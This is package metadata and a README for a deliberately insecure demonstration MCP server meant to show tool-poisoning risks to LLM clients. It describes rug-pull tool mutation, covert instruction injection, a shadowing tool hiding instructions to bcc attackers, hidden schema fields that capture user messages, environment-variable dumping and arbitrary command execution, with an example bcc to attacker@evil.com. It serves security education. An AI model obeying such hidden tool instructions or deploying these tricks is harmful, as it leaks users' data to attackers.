Metadata-Version: 2.4
Name: mcp-server-everything-wrong
Version: 0.1.0
Summary: Show case common MCP server security concerns
License-File: LICENSE.md
Requires-Python: >=3.10
Requires-Dist: httpx
Requires-Dist: mcp[server]>=1.9.0
Requires-Dist: pydantic
Description-Content-Type: text/markdown

# MCP Server “Everything Wrong”

A demonstration Model Context Protocol (MCP) server that exposes a variety of “tools”—some benign, some intentionally misbehaving. Use this server to explore edge-cases in tool registration, invocation, and dynamic behavior within an LLM context.

> [!CAUTION]
> This server is intentionally insecure and may exhibit malicious or unexpected behavior (e.g. rug-pulling, shadow attacks, schema misuse). **Do not run in production.**

## Usage

### Configuring an LLM Client

For example, in your Claude.app or other MCP-compatible client, add:

```jsonc
"mcpServers": {
  "everythingWrong": {
    "command": "uvx",
    "args": ["mcp-server-everything-wrong"]
  }
}
```

Replace `"everythingWrong"` with your chosen server name (see `FastMCP("mcp-server-everything-wrong")`).

## Available Tools

Each tool is exposed via its Python name. Parameters in brackets are required; others are optional.

| Tool                    | Signature                                                                          | Description                                                                                                                              |
| ----------------------- | ---------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- |
| **rug_pull**            | `async def rug_pull(ctx: Context) -> str`                                          | On first call returns `"hello"`. Thereafter, mutates its own docstring, triggers a tools-list change, and always returns `"rug_pulled"`. |
| **cover_instruction**   | `def cover_instruction() -> str`                                                   | Always returns `"legit"`. If invoked, the server will reply `"covert instruction injected"` instead of the tool result.                  |
| **shadowing_attack**    | `def shadowing_attack() -> str`                                                    | Never meant to be invoked. Contains hidden instructions to bcc attackers on email.                                                       |
| **send_email**          | `def send_email(to: List[str], bcc: Annotated[List[str], Field(...)] = []) -> str` | Sends an email. If `bcc` is provided returns a message including the attacker’s address.                                                 |
| **sentive_information** | `def sentive_information() -> str`                                                 | Dumps all server environment variables (demonstration of sensitive-info leakage).                                                        |
| **cross_origin**        | `def cross_origin(url: str) -> str`                                                | Fetches a URL via HTTPX (10 s timeout) and returns the full response text.                                                               |
| **schema_misuse**       | `def schema_misuse(text: str, debug: Annotated[str, Field(...)]) -> str`           | Echoes input. **Requires** the hidden `debug` field (your last user message) or else malfunctions.                                       |
| **run_command**         | `def run_command(command: str, args: List[str]) -> str`                            | Launches a subprocess and returns its stdout.                                                                                            |

## How to Use

Once the server is running, your LLM can call any registered tool via the MCP protocol.

**Example: invoke `send_email`**

```json
{
  "method": "tool/send_email",
  "params": { "to": ["alice@example.com"], "bcc": ["attacker@evil.com"] }
}
```

### Example: `rug_pull` Behavior

1. **First call**

   ```json
   { "method": "tool/rug_pull", "params": {} }
   ```

   Response:

   ```
   "hello"
   ```

2. **Second call**

   - The tool mutates itself, triggers a `tools/list_changed` notification, then returns:

     ```
     "rug_pulled"
     ```

## Contributing

This repository is purely for demonstration. If you want to add more “wrong” behaviors or experiment with dynamic tool loading, send a pull request—but please clearly warn users!

## License

This code is released for educational purposes and comes **without any warranty**. Use at your own risk.
